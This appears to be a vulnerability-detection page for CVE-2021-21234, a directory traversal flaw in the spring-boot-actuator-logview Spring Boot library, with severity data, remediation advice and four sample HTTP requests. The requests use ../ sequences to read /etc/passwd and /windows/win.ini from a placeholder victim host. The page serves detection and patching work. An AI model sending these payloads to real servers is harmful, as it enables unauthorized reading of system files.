🔙 목록으로 돌아가기

CVE-2021-21234: Spring Boot Actuator Logview Directory Traversal

TitleSpring Boot Actuator Logview Directory Traversal
Authorgy741,pikpikcu
SeverityHigh
ImpactThis vulnerability can lead to unauthorized access to sensitive information stored on the server.
RemediationApply the latest security patches or upgrade to a patched version of Spring Boot Actuator.
CVSS Score7.7
EPSS Score0.93852
CVE IDCVE-2021-21234
CWE IDCWE-22
Tags cve2021 cve springboot lfi actuator spring-boot-actuator-logview_project vkev vuln

🔍 Vulnerability Description

spring-boot-actuator-logview before version 0.2.13 contains a directory traversal vulnerability in libraries that adds a simple logfile viewer as a spring boot actuator endpoint (maven package “eu.hinsch:spring-boot-actuator-logview”.

🌐 HTTP Request

GET /manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /log/view?filename=/windows/win.ini&base=../../../../../../../../../../ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /log/view?filename=/etc/passwd&base=../../../../../../../../../../ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-21234.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-21234.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A